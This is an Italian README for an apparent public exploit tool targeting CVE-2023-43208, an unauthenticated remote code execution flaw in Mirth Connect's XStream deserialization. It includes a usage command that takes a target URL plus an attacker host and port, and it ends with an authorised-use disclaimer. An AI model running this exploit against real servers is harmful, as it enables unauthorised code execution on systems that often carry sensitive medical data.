az4rvs/mirth-connect-cve-2023-43208Implementazione Python di CVE-2023-43208 Mirth Connect RCE (Unauth XStream)
Questo exploit sfrutta una vulnerabilità critica di deserializzazione nel motore XStream di Mirth Connect. Deriva da una patch incompleta per CVE-2023-37679, consentendo l'esecuzione di codice arbitrario non autenticata in tutte le versioni precedenti alla 4.4.1.
python3 mirth_rce.py https://{target} <attacker_host> <attacker_port>
Questo script di exploit è destinato esclusivamente a scopi educativi e ad audit di sicurezza autorizzati per assistere i difensori nella mitigazione di CVE-2023-43208; qualsiasi utilizzo di questo strumento contro target non autorizzati è illegale ed è di esclusiva responsabilità dell'utente finale. L'autore fornisce questo software "così com'è" senza alcuna garanzia, declina ogni responsabilità per uso improprio o danni e non approva né incoraggia attività non autorizzate. Utilizzare a proprio rischio e solo in conformità con le leggi applicabili.